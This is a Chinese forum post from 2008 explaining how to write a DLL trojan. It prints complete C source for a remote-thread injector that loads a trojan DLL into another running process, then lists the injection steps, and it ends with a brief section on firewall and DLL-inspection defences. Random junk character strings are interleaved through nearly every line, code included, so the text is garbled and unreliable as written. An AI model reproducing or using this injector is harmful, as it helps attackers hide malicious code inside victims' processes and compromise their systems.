我爱电脑技术论坛 » 编程语言 » 用 VC++ 动态链接库编写 DLL 木马

476304467 发表于 2008-4-23 17:35

用 VC++ 动态链接库编写 DLL 木马

DLL在程序编制中可作出巨大贡献，它提供了具共性代码的复用能力。但是，正如一门高深的武学，若被掌握在正义之侠的手上，便可助其仗义江湖；但若被掌握在邪恶之徒的手上，则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性，就不再是正常的DLL程序，而是DLL木马，一种恶贯满盈的病毒，令特洛伊一夜之间国破家亡。
t _r;V"`"@/_E$W4l DLL木马的原理
*xk'm:jp b4u DLL木马的实现原理是编程者在DLL中包含木马程序代码，随后在目标主机中选择特定目标进程，以某种方式强行指定该进程调用包含木马程序的DLL，最终达到侵袭目标系统的目的。 0A0i+tN Hn!C
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行，而且具有良好的隐藏性： {'C*_/sU\8LLri
（1）DLL程序被映射到宿主进程的地址空间中，它能够共享宿主进程的资源，并根据宿主进程在目标主机的级别非法访问相应的系统资源；
:H-m)k#w},U （2）DLL程序没有独立的进程地址空间，从而可以避免在目标主机中留下"蛛丝马迹"，达到隐蔽自身的目的。
8}0lsbD\ DLL木马实现了"真隐藏"，我们在任务管理器中看不到木马"进程"，它完全溶进了系统的内核。与"真隐藏"对应的是"假隐藏"，"假隐藏"木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程，但是"假隐藏"木马本质上还具备独立的进程空间。"假隐藏"只适用于Windows9x的系统，对于基于WINNT的操作系统，通过服务管理器，我们可以发现系统中注册过的服务。 8n'k4v Wpg
DLL木马注入其它进程的方法为远程线程插入。 9h#vf"Q mm7O$I+l
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后，需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间，即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL，从而实现木马对系统的侵害。
%u:]cC.I LL木马注入程序
BZ1fIC,F 里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比，我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程，而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同，它可以在另外的进程中产生线程！CreateRemoteThread有如下特点：
5BP'Gbh7y8um8ML （1）CreateRemoteThread较CreateThread多一个参数hProcess，该参数用于指定要创建线程的远程进程，其函数原型为： J9Toa)|B
HANDLE CreateRemoteThread(n!s*yd&g:Kz?

8r CH `B
w bKq)_b HANDLE hProcess, //远程进程句柄&ac)@!Dmh1Eq8aA8^,wS&j

'}k3s`W H9`8H LPSECURITY_ATTRIBUTES lpThreadAttributes,
i4s"g N c L(e
3k*r PFQ$Z7G?P$y$c SIZE_T dwStackSize,
9`b:Q#R S)H2_
w:X6}J8uh3E)~ LPTHREAD_START_ROUTINE lpStartAddress,
2}?
`Y7`!k%Oy
H*l
oz?CV LPVOID lpParameter,Ahx-K{&QB_m9I
n~L|_["q
DWORD dwCreationFlags,#J3E[S$lp1ji-ja

!] ^+x.@*c LPDWORD lpThreadId
NLk%vu0E o
l2hs/E] oT );(HVNw.\ o'Z
2）线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说，我们不能想当然地自己写一个函数，并把这个函数作为远程线程的入口函数；
P6W:W?/Gp)HNd 3）不能把本进程的指针作为CreateRemoteThread的参数，因为本进程的内存空间与远程进程的不一样。 e hUSI!k
以下程序由作者Shotgun的DLL木马注入程序简化而得，它将d盘根目录下的troydll.dll插入到ID为4000的进程中： #o)DZ6Mx5nO/`)n
#include
P I8`wjz3Xn
:D?8?:sU0M4@ #include
oe|}orW1x0l
-mf^ EIj#j #include -\,i2dsnV%}9y

m!ML8RuU@*_ void CheckError ( int, int, char *); //出错处理函数0Q0K0a~C^

D(\R^.` i'H7u PDWORD pdwThreadId; U*GD,cQ(UM

_*As [~'[ |*S$K Jy HANDLE hRemoteThread, hRemoteProcess;
in e9i,lZ"E
-? nr,Y-d}Vm#sJ DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
EBA,W/T)N +{R:sp6|
UE+m+|b-a
PWSTR pszLibFileRemote=NULL;2Tm
LG.Oo n BrK
%](zLby4f%^4tR
void main(int argc,char **argv) Q4T.@,M'y*y
/^&|-d)i [6byB
{
Q
tO!pp/T)i
4? Ygi%G` int iReturnCode;pl,Q5mE;B8~

-qf;Y;A8W char lpDllFullPathName[MAX_PATH];bK!}Bu5^*i
,G,lY c#~gh?a
WCHAR pszLibFileName[MAX_PATH]={0};
2z zGRtW&E
!R[u[T4` dwRemoteProcessId = 4000; v%i2Z.[G@\I
HGOH0p6Uy|
strcpy(lpDllFullPathName, "d:\\troydll.dll");
r.Jk$p2YF yo/r4J&nh
//将DLL文件全路径的ANSI码转换成UNICODE码
q+hMN%oj9A e
1KlBC%yv iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
7C;C A'R+y {9Jn+r?7y2_c
lpDllFullPathName, strlen(lpDllFullPathName),
W8h#Bn\R/Wn
i-pCi2y'E/Y pszLibFileName, MAX_PATH);
2{g wO.d-_%l
o3q *QqI8p h%R5D
CheckError(iReturnCode, 0, "MultByteToWideChar");
r@0S]J `jXRZ1A Y^8S@D$Xmh ?mf"J^(k
//打开远程进程

e8u'E8Y3Z~$}6u0B ? j*qjS4t
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 B z$u9E-~ x F ]

4y]2{ ]q,UL(kw PROCESS_VM_OPERATION | //允许VM操作)ri,[N1r Z l

kg'C8T!B;z PROCESS_VM_WRITE, //允许VM写
(h z/w [*docLH[
9Yc8C u"r`:r1YiC FALSE, dwRemoteProcessId );
[@v;B3o;Va(F9v +BoQ#US
V"M7w_
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
0TP;h?s
}XU(b9p {rP^\+~var
//计算DLL路径名需要的内存空间
n
X@S&W]-A,w
q5C'F \k|
N int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);NF%ES(gXq
"L)M)T{
CL
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT,
Q6V*]D[PgZ PAGE_READWRITE);
g(BokvS_-ieY
Va.\:]R,iU"d?P CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");U `@'p0E+f
S W"Z
X2_}
//将DLL的路径名复制到远程进程的内存空间M5p]1Sa,f+Lp

#Do$n_)t Qm| iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) 0A(y+vUDH
pszLibFileName, cb, NULL);
1\O%f
rL1J@W *X ?,Qq$}x
CheckError(iReturnCode, false, "WriteProcessMemory");
&ES#p&rcU
'f{ b.I$P //计算LoadLibraryW的入口地址 @:|)DA!uO

+M]ZM%ELw2x PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)%n[pa~f$Zgn\9q

:oTH P0w o$C GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");u Whm3g \o

6J#_0ot&_:x,X CheckError((int)pfnStartAddr, NULL, "GetProcAddress");e'l X
Y/q"W'cTm

:_p9p1r!D^d{ //启动远程线程，通过远程线程调用用户的DLL文件
7\6G`
v8oa:^%l `6U sDkh#z@,ON
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr,
2Q8o;j?dW!l pszLibFileRemote, 0, NULL);
av&I8P7m;LM
4eM+U {vK O0d CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
Z\m l1C8Z 2sJ"TUGM
//等待远程线程退出
{1uj @,QJ.Q $H&K&Rp0L3`.I
WaitForSingleObject(hRemoteThread, INFINITE);
)C~+M^T|u
\
r6XdA/e v*MI.R
{ //清场处理
2npY6d"qhs
]vNTL$B%x if (pszLibFileRemote != NULL)
Y(`{0[i;|6I
e:q]xdL2U {
/T+Y:iJr.v5TI:F
v)C:xBvO/\|7K VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);s_,pWCpr9f,vI5O
(`:?0Z@%E.^
}
P#gd n
s ;ft&^;B(K-]T4s!m
if (hRemoteThread != NULL)
(jP/p"YDs1}p'f
5@oE%pKdfW;d(I {
0~R L.G{k`%~ },Ph6B N5Jd)y5U6`H
CloseHandle(hRemoteThread );
JvP Yx9B8O|3LDa ,o ]lQ%g+o\w
}
'x\Ru m'J/Z5l+_/yZiK X;[(HL&NS
if (hRemoteProcess!= NULL) 1n*I:qk8hsqg
)G_z`_mk2~;]z
{W(S;K&hIVF)Yd7}

:cr6f }@3sS CloseHandle(hRemoteProcess);7I/d4LTctm`z
"Ni%_Kn,nWt a
}
&V&QJ+q0xiRIo dV%I*ZF!ve7W5a
}eJ.mk/J%N/nAA
;A2X1C O#^+OQ't,\
//错误处理函数CheckError()C};`x^

Usc;k Vtm8W'ch void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)4F#hq*gD
N&M A$dA-J2V?7]
{o}5Oe?@O+n
2\dPY#~
if(iReturnCode==iErrorCode)
@dZ/~,{ (x"fSwX8wf%?
{:SYe:]*V4u

S+c\ r:Q[ a/Uv printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
8Wr&z'_E4kh
XY
n
O9^P //清场处理
R`Z3ed&F dy;pLB
if (pszLibFileRemote != NULL)
.vXda)Ikpj\-\ u
1@^"BM E+~%CM {
\!dM0nT)g wz'f 5et1~^fW
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);Em cZ_
n
[2Y
c%ljr.^

!c3rCOc$V2? }
7a6_o+n/Lo0|![5C
:\6jCvm` if (hRemoteThread != NULL) M+kf t Wa

jl-yy~:u7Q {
aG[lk"@5_
AkP I;jlU
CloseHandle(hRemoteThread ); h/pp]HLI/^Z

W"H;b[;ki0g3@ }!O~cV
E P6n

uEK BS)W if (hRemoteProcess!= NULL)8}n2@nTm1ain5_H
P`P;W c$~L%Cq
{
w*B#AMWE#te-Gdy %asZ2`\ Y'?8U l
CloseHandle(hRemoteProcess);
#u7o
d'aO Hg [`u#q#q
}
x V3Y6A)~kF!C;UB)y !u:rtx ]8H yK@j:P5t
exit(0);7w
T|{XgH
4f'YxkT,n'B
}
Qj"ED1@_7c/V WXj9S'G;a0jj
} JQ0E~GLOt
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为：

X/kBr5tv1C6F-nV （1）取得宿主进程（即要注入木马的进程）的进程ID dwRemoteProcessId；
(cP[;Vk_k!V （2）取得DLL的完全路径，并将其转换为宽字符模式pszLibFileName； ^MK/i2b
（3）利用Windows API OpenProcess打开宿主进程，应该开启下列选项： 'xs9U7z/kt c?M
a.PROCESS_CREATE_THREAD：允许在宿主进程中创建线程；
&D;_&]&h'l^Du b.PROCESS_VM_OPERATION：允许对宿主进程中进行VM操作；
,a5a8L{-p c.PROCESS_VM_WRITE：允许对宿主进程进行VM写。
0o q@}+ZD$G （4）利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间，并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间；
#Z%A!t4w2U r （5）利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址，这个函数将作为随后将启动的远程线程的入口函数；
.uaS1?&d:Eu(e-Ub （6）利用Windows API CreateRemoteThread启动远程线程，将LoadLibraryW的地址作为远程线程的入口函数地址，将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL；
1dCT8sw&x!tF!I;n （7）清理现场。
W_+qYy+e {tI DLL木马的防治
rC-IfpE 从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式，这可以帮助我们更好地理解DLL木马病毒的防治手段。 G1s7G PfV1^j
一般的木马被植入后要打开一网络端口与攻击程序通信，所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查，我们可以让防火墙对通讯端口进行限制，只允许系统接受几个特定端口的数据请求。这样，即使木马植入成功，攻击者也无法进入到受侵系统，防火墙把攻击者和木马分隔开来了。 2d#F}D{z
对于DLL木马，一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL，如果其中有一些莫名其妙的DLL，则可以断言这个进程是宿主进程，系统被植入了DLL木马。"道高一尺，魔高一丈"，现如今，DLL木马也发展到了更高的境界，它们看起来也不再"莫名其妙"。在最新的一些木马里面，开始采用了先进的DLL陷阱技术，编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤，对于正常的调用，使用函数转发器直接转发给被替换的系统DLL；对于一些事先约定好的特殊情况，DLL会执行一些相应的操作。

查看完整版本: 用 VC++ 动态链接库编写 DLL 木马